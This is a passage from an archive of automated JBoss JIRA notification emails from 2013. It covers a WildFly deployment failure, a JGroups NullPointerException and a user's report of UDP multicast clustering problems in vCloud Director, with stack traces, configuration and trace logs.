	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class
	at org.jboss.weld.injection.producer.BasicInjectionTarget.checkType(BasicInjectionTarget.java:81)
	at org.jboss.weld.injection.producer.BasicInjectionTarget.<init>(BasicInjectionTarget.java:69)
	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:48)
	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:44)
	at org.jboss.as.weld.injection.WeldComponentService.start(WeldComponentService.java:129)
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	... 3 more

15:00:18,975 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("deploy") failed - address: ([("deployment" => "ticket-monster.war")]) - failure description: {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator: Failed to start service
    Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class"}}
15:00:18,977 ERROR [org.jboss.as.server] (DeploymentScanner-threads - 1) JBAS015870: Deploy of deployment "ticket-monster.war" was rolled back with the following failure message: 
{"JBAS014671: Failed services" => {"jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator: Failed to start service
    Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class"}}
15:00:18,986 INFO  [org.jboss.as.jpa] (ServerService Thread Pool -- 73) JBAS011410: Stopping Persistence Unit (phase 2 of 2) Service 'ticket-monster.war#primary'
15:00:18,987 INFO  [org.hibernate.tool.hbm2ddl.SchemaExport] (ServerService Thread Pool -- 73) HHH000227: Running hbm2ddl schema export
15:00:19,004 INFO  [org.hibernate.tool.hbm2ddl.SchemaExport] (ServerService Thread Pool -- 73) HHH000230: Schema export complete
15:00:19,007 INFO  [org.jboss.weld.deployer] (MSC service thread 1-4) JBAS016009: Stopping weld service for deployment ticket-monster.war
15:00:19,021 INFO  [org.jboss.as.jpa] (ServerService Thread Pool -- 73) JBAS011410: Stopping Persistence Unit (phase 1 of 2) Service 'ticket-monster.war#primary'
15:00:19,022 INFO  [org.jboss.as.connector.subsystems.datasources] (MSC service thread 1-6) JBAS010409: Unbound data source [java:jboss/datasources/ticket-monsterDS]
15:00:19,050 INFO  [org.jboss.as.server.deployment] (MSC service thread 1-4) JBAS015877: Stopped deployment ticket-monster.war (runtime-name: ticket-monster.war) in 72ms
15:00:19,052 INFO  [org.jboss.as.controller] (DeploymentScanner-threads - 1) JBAS014774: Service status report
JBAS014775:    New missing/unsatisfied dependencies:
      service jboss.deployment.unit."ticket-monster.war".component."javax.servlet.jsp.jstl.tlv.ScriptFreeTLV".START (missing) dependents: [service jboss.deployment.unit."ticket-monster.war".deploymentCompleteService, service jboss.undertow.deployment.default-host./ticket-monster] 
JBAS014776:    Newly corrected services:
      service jboss.deployment.unit."ticket-monster.war".ee.ComponentRegistry (no longer required)
JBAS014777:   Services which failed to start:      service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator
{code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 09:10:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 3 Sep 2013 09:10:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1991) Render new password input
 more user friendly
In-Reply-To: <JIRA.12499825.1378212466000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499825.1378212466000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499825.1378212466000.5926.1378213803768@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1991?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-1991:
-----------------------------------

    Fix Version/s: 8.0.0.CR1

    
> Render new password input more user friendly
> --------------------------------------------
>
>                 Key: WFLY-1991
>                 URL: https://issues.jboss.org/browse/WFLY-1991
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Scripts
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Bernard
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 09:12:03 2013
From: jira-events at lists.jboss.org (Radoslav Husar (JIRA))
Date: Tue, 3 Sep 2013 09:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1684) NPE in UNICAST2.up()
In-Reply-To: <JIRA.12499446.1377612350000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499446.1377612350000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499446.1377612350000.5930.1378213923462@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1684?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801134#comment-12801134 ] 

Radoslav Husar commented on JGRP-1684:
--------------------------------------

Just to note here, we don't have a reproducer. QA has spotted the NPE in their clustering system tests. I am asking on the Bugzilla if they can provide more information or where else have they seen it.

Also I agree it's not a big deal apart from the exception in EAP log; the message gets resent and nothing is lost.
                
> NPE in UNICAST2.up()
> --------------------
>
>                 Key: JGRP-1684
>                 URL: https://issues.jboss.org/browse/JGRP-1684
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.10
>            Reporter: Radoslav Husar
>            Assignee: Radoslav Husar
>
> {noformat}
> 11:53:25,993 ERROR [org.jgroups.protocols.UDP] (OOB-13,shared=udp) failed handling incoming message: java.lang.NullPointerException
> 	at java.util.concurrent.ConcurrentHashMap.get(ConcurrentHashMap.java:768) [rt.jar:1.6.0_45]
> 	at org.jgroups.protocols.UNICAST2.up(UNICAST2.java:432)
> 	at org.jgroups.protocols.pbcast.NAKACK.up(NAKACK.java:645)
> 	at org.jgroups.protocols.VERIFY_SUSPECT.up(VERIFY_SUSPECT.java:147)
> 	at org.jgroups.protocols.FD.up(FD.java:253)
> 	at org.jgroups.protocols.FD_SOCK.up(FD_SOCK.java:288)
> 	at org.jgroups.protocols.MERGE3.up(MERGE3.java:290)
> 	at org.jgroups.protocols.Discovery.up(Discovery.java:359)
> 	at org.jgroups.protocols.TP$ProtocolAdapter.up(TP.java:2610)
> 	at org.jgroups.protocols.TP.passMessageUp(TP.java:1263)
> 	at org.jgroups.protocols.TP$IncomingPacket.handleMyMessage(TP.java:1825)
> 	at org.jgroups.protocols.TP$IncomingPacket.run(TP.java:1798)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:895) [rt.jar:1.6.0_45]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:918) [rt.jar:1.6.0_45]
> 	at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_45]
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 09:12:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 3 Sep 2013 09:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1991) Render new password input
 more user friendly
In-Reply-To: <JIRA.12499825.1378212466000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499825.1378212466000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499825.1378212466000.5934.1378213923612@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1991?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801135#comment-12801135 ] 

Darran Lofthouse commented on WFLY-1991:
----------------------------------------

I am fairly sure this is a duplicate but I can not find the duplicate issue ;-)  This is something we need to do.

We did previously enhance it to fail sooner if validation fails i.e. don't ask for the password for a second time if it is not acceptable but we do still need to output the requirements.

                
> Render new password input more user friendly
> --------------------------------------------
>
>                 Key: WFLY-1991
>                 URL: https://issues.jboss.org/browse/WFLY-1991
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Scripts
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Bernard
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 09:29:03 2013
From: jira-events at lists.jboss.org (sachin jopat (JIRA))
Date: Tue, 3 Sep 2013 09:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1686) JBOSS CLUSTER issues in
	vCloud Director
In-Reply-To: <JIRA.12499806.1378199325000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499806.1378199325000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499806.1378199325000.5985.1378214943428@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1686?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

sachin jopat reopened JGRP-1686:
--------------------------------



looking for some help, pls reassign if logged against wrong group
                
> JBOSS CLUSTER issues in vCloud Director
> ---------------------------------------
>
>                 Key: JGRP-1686
>                 URL: https://issues.jboss.org/browse/JGRP-1686
>             Project: JGroups
>          Issue Type: Bug
>         Environment: VMWare vCloud Director
>            Reporter: sachin jopat
>            Assignee: Bela Ban
>              Labels: JBoss, farming
>
> Background:-
> We recently migrated from VM LabManager to VM vCloud director for virtualization and have been using JBOSS6.1.0 from sometime. So this may not be an issue in JBOSS, but looking for a workaround here.
> Problem Statement:-
> While starting Cluster server, it fails to communicate with other servers using UDP multicast for cluster communication, but when we change the transport mechanism from UDP to TCP  for cluster communication, the same settings work. Strange, but however we tested UDP multicast is not blocked on VCloud.
> Below is the change in the Jboss application run.bat file, which worked. But using tcp is not a preferred option especially when we plan to have 8-10 clusters:-
> Original 
> ?set COMMAND_ARGS=%COMMAND_ARGS% -u %REM_MCAST_ADDR%? 
> Changed
> ?set COMMAND_ARGS=%COMMAND_ARGS% -Djboss.default.jgroups.stack=tcp?
> Changes to run JBoss clusters are confined to the JGroups configuration and all configurations for UDP and TCP are in the below XML file:-
> JBOSS/server/CONFIG/deploy/cluster/jgroupschannelfactory.sar/META-INF/jgroups-channelfactorystacks.xml
> Sample configuration:-
> <protocol_stacks>
> <stack name="udp">
> <config>
> <UDP bind_port="${jboss.jgroups.udp.bind_port:55200}" />
> <PING timeout="2000" num_initial_members="3"/>
> <MERGE2 max_interval="100000" min_interval="20000"/>
> <FD_SOCK/>
> <FD timeout="6000" max_tries="5"/>
> <pbcast.NAKACK retransmit_timeout="300,600,1200" />
> <UNICAST timeout="300,600,1200,2400,3600"/>
> <pbcast.STABLE desired_avg_gossip="50000" max_bytes="400k"/>
> <pbcast.GMS join_timeout="3000" />
> <FRAG2 frag_size="60k"/>
> </config>
> </stack>
> <stack name="tcp">
> <config>
> <TCP start_port="${jboss.jgroups.tcp.tcp_port:7600}"/>
> <TCPPING timeout="3000"
> initial_hosts="Host-A[7600],Host-B[7600]?/>
> ...
> </config>
> </stack>
> </protocol_stacks>
> Please find below the logs.
> So it stops at the below step on the agent cluster node which we try to start soon after Farm agent server successfully started:-
> Cluster agent boot log:-
> 09:49:39,196 INFO  [HANamingService] Started HAJNDI bootstrap; jnpPort=1300, backlog=50, bindAddress=OM2/192.168.1.201
> 09:49:39,211 INFO  [DetachedHANamingService$AutomaticDiscovery] Listening on /192.168.1.201:1102, group=224.1.1.3, HA-JNDI address=192.168.1.201:1300
> 09:49:39,227 INFO  [TransactionManagerFactory] Using a batchMode transaction manager
> 09:49:39,242 INFO  [ComponentsJmxRegistration] Could not register object with name: org.infinispan:type=Cache,name="distributed-tree(repl_sync)",manager="ha-partition",component=Cache
> 09:49:39,242 INFO  [CacheJmxRegistration] MBeans were successfully registered to the platform mbean server.
> 09:49:39,258 INFO  [RpcManagerImpl] Trying to fetch state from OM1:1299
> 09:49:39,492 INFO  [RpcManagerImpl] Successfully retrieved and applied state from OM1:1299
> 09:49:39,492 INFO  [ComponentRegistry] Infinispan version: Infinispan 'Ursus' 4.2.0.FINAL
> 09:49:39,492 INFO  [DefaultCacheContainerFactory] Started "distributed-tree" cache from "ha-partition" container
> Farm agent server log:-
> 2013-08-30 09:48:16,374 INFO  [Http11Protocol] (Thread-2) Starting Coyote HTTP/1.1 on http-OM1%2F192.168.1.200-8280
> 2013-08-30 09:48:16,390 INFO  [AjpProtocol] (Thread-2) Starting Coyote AJP/1.3 on ajp-OM1%2F192.168.1.200-8209
> 2013-08-30 09:48:16,390 INFO  [AbstractServer] (Thread-2) JBossAS [6.1.0.Final "Neo"] Started in 1m:6s:488ms
> 2013-08-30 09:48:58,463 TRACE [UDP] (Timer-5,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [UDP] (Timer-5,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-11,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [PING] (OOB-11,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-11,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-12,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-13,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [PING] (OOB-13,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:48:59,477 TRACE [UDP] (Timer-2,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [UDP] (Timer-2,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [PING] (OOB-14,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-14,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-15,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-16,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [PING] (OOB-16,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:49:00,475 TRACE [PING] (Timer-4,<ADDR>) discovery took 2012 ms: responses: 1 total (1 servers (1 coord), 0 clients)
> 2013-08-30 09:49:00,475 TRACE [MERGE2] (Timer-4,<ADDR>) Discovery results:
> [OM1:1299]: [OM1:1299|0] [OM1:1299]
> 2013-08-30 09:49:00,834 TRACE [STABLE] (Timer-5,<ADDR>) OM1:1299: setting latest_local_digest from NAKACK: [OM1:1299#2]
> 2013-08-30 09:49:00,834 TRACE [STABLE] (Timer-5,<ADDR>) OM1:1299: sending stable msg [OM1:1299#2]
> 2013-08-30 09:49:00,834 TRACE [NAKACK] (Timer-2,<ADDR>) sending OM1:1299#3
> 2013-08-30 09:49:00,834 TRACE [UDP] (Timer-2,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABLE_GOSSIP]: digest is OM1:1299: [0 : 2 (2)], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:00,834 TRACE [UDP] (Timer-2,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:00,834 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM1:1299: [0 : 2 (2)], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:00,834 TRACE [UDP] (OOB-18,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM1:1299: [0 : 2 (2)], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:00,834 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM1:1299#3
> 2013-08-30 09:49:00,834 TRACE [STABLE] (OOB-17,null) OM1:1299: handling digest from OM1:1299 (0 votes):
> mine:   [OM1:1299#1]
> other:  [OM1:1299#2]
> result: [OM1:1299#1]
> 2013-08-30 09:49:00,834 TRACE [STABLE] (OOB-17,null) OM1:1299: sending stability msg (in 780 ms) [OM1:1299#1] (copy=1081264483)
> 2013-08-30 09:49:01,630 TRACE [STABLE] (Timer-4,<ADDR>) OM1:1299: sending stability msg [OM1:1299#1] (copy=1081264483)
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (Timer-4,<ADDR>) sending OM1:1299#4
> 2013-08-30 09:49:01,630 TRACE [UDP] (Timer-4,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABILITY]: digest is OM1:1299: [0 : 1 (2)], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:01,630 TRACE [UDP] (Timer-4,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:01,630 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM1:1299: [0 : 1 (2)], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:01,630 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM1:1299: [0 : 1 (2)], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM1:1299#4
> 2013-08-30 09:49:01,630 TRACE [STABLE] (OOB-19,null) OM1:1299: received stability msg from OM1:1299: [OM1:1299#1]
> 2013-08-30 09:49:01,630 TRACE [STABLE] (OOB-19,null) OM1:1299: resetting digest from NAKACK: [OM1:1299#3]
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (OOB-19,null) received stable digest OM1:1299: [0 : 1 (2)]
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (OOB-19,null) deleting msgs <= 1 from OM1:1299
> 2013-08-30 09:49:25,638 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: 0877da68-118d-d463-ca8c-57545e902c09 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=0877da68-118d-d463-ca8c-57545e902c09, view id=null, is_server=false, is_coord=false, logical_name=OM2:1299, physical_addrs=192.168.1.201:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,638 TRACE [PING] (OOB-19,null) received GET_MBRS_REQ from OM2:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400]
> 2013-08-30 09:49:25,638 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,716 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are GMS: GmsHeader[JOIN_REQ]: mbr=OM2:1299, UNICAST: DATA, seqno=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,716 TRACE [UNICAST] (OOB-19,null) OM1:1299 <-- DATA(OM2:1299: #1, first)
> 2013-08-30 09:49:25,732 TRACE [UNICAST] (OOB-19,null) OM1:1299: created receiver window for OM2:1299 at seqno=#1 for conn-id=0
> 2013-08-30 09:49:25,732 TRACE [UNICAST] (OOB-19,null) OM1:1299 --> ACK(OM2:1299: #1)
> 2013-08-30 09:49:25,732 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,794 DEBUG [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) new=[OM2:1299], suspected=[], leaving=[], new view: [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,794 TRACE [NAKACK] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending OM1:1299#5
> 2013-08-30 09:49:25,794 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are FLUSH: FLUSH[type=START_FLUSH,viewId=0,members=[OM1:1299]], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,794 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes]
> 2013-08-30 09:49:25,794 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=START_FLUSH,viewId=0,members=[OM1:1299]], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 TRACE [NAKACK] (Incoming-1,null) OM1:1299: received OM1:1299#5
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-2,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=START_FLUSH,viewId=0,members=[OM1:1299]], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 DEBUG [FLUSH] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: flush coordinator  is starting FLUSH with participants [OM1:1299]
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-1,null) OM1:1299: created connection to OM1:1299
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-1,null) OM1:1299 --> DATA(OM1:1299: #1, conn_id=0, first)
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-1,null) sending msg to OM1:1299, src=OM1:1299, headers are FLUSH: FLUSH[type=FLUSH_COMPLETED,viewId=0], UNICAST: DATA, seqno=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 DEBUG [FLUSH] (Incoming-1,null) OM1:1299: received START_FLUSH, responded with FLUSH_COMPLETED to OM1:1299
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-3,null) received [dst: OM1:1299, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=FLUSH_COMPLETED,viewId=0], UNICAST: DATA, seqno=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-3,null) OM1:1299 <-- DATA(OM1:1299: #1, first)
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-3,null) OM1:1299: created receiver window for OM1:1299 at seqno=#1 for conn-id=0
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-3,null) OM1:1299 --> ACK(OM1:1299: #1)
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-3,null) sending msg to OM1:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-4,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 TRACE [UNICAST] (Incoming-4,null) OM1:1299 <-- ACK(OM1:1299: #1)
> 2013-08-30 09:49:25,810 DEBUG [FLUSH] (Incoming-3,null) OM1:1299: FLUSH_COMPLETED from OM1:1299, completed true, flushMembers [OM1:1299], flushCompleted [OM1:1299]
